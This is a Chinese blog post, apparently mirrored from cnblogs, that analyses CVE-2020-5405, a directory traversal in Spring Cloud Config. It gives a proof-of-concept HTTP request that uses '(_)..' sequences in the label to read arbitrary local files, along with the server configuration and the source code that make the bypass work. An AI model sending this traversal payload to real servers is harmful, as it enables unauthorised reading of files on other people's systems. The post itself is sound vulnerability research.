zoukankan      html  css  js  c++  java
  • CVE-2020-5405 Spring Cloud Config 目录穿越漏洞分析

    CVE-2020-5405 Spring Cloud Config 目录穿越漏洞分析

    CVE-2020-5405 分析
    先放 本地 poc:
    GET /1/1/(_)..(_)..(_)c:/Temp/1.txt HTTP/1.1
    Host: 127.0.0.1:8888
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    

    然后需要更改本地环境 这个 cve 是 19 年上一个 cve 的绕过,不过不同的是 19 年的官方 demo 配置是绕不过的。

    本地环境设置

    在 resources 文件夹下面的 configserver.yml 设置如下

    info:
      component: Config Server
    spring:
      profiles:
        active: native
      application:
        name: configserver
      autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
      jmx:
        default_domain: cloud.config.server
      cloud:
        config:
          server:
            native:
              search-locations:
                - file:///c:/T1emp
    server:
      port: 8888
    management:
      context_path: /admin
    
    

    需要开启 active 为 native,然后指定一个 search-locations。

    这次的绕过其实本质上是在上一个漏洞检查 path 的基础上,在 label 上通过特殊的方法,穿越了目录从而达到了任意文件读取。

    根据这次的 poc,可以看到,retrieve方法下面:

      if (name != null && name.contains("(_)")) {
       // "(_)" is uncommon in a git repo name, but "/" cannot be matched
       // by Spring MVC
       name = name.replace("(_)", "/");
      }
      if (label != null && label.contains("(_)")) {
       // "(_)" is uncommon in a git branch name, but "/" cannot be matched
       // by Spring MVC
       label = label.replace("(_)" , "/");
      }
    

    通过(_)在后端替换成/来达到目录穿越。 所以这次的 poc 是 path 固定为一个文件,在 label 上用..来跳跃

    看到图里的!isInvalidPath(local) && !isInvalidEncodedPath(local)应该是可以知道我找个版本是打了上次 19 年穿越漏洞的补丁的。 可以跨盘符读取。

    本文使用 mdnice 排版

  • 相关阅读:
    使用反射获取对象的步骤
    金融IT的算法要求
    Java编译与反编译命令记录
    常用搜索博客/网站
    Java核心-03 谈谈final、finally、 finalize有什么不同?
    Java核心-02 Exception和Error有什么区别?
    PHP函数技巧篇
    IO
    Markdown 简单使用教程
    FZu Problem 2233 ~APTX4869 (并查集 + sort)
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/13159172.html
Copyright © 2011-2022 走看看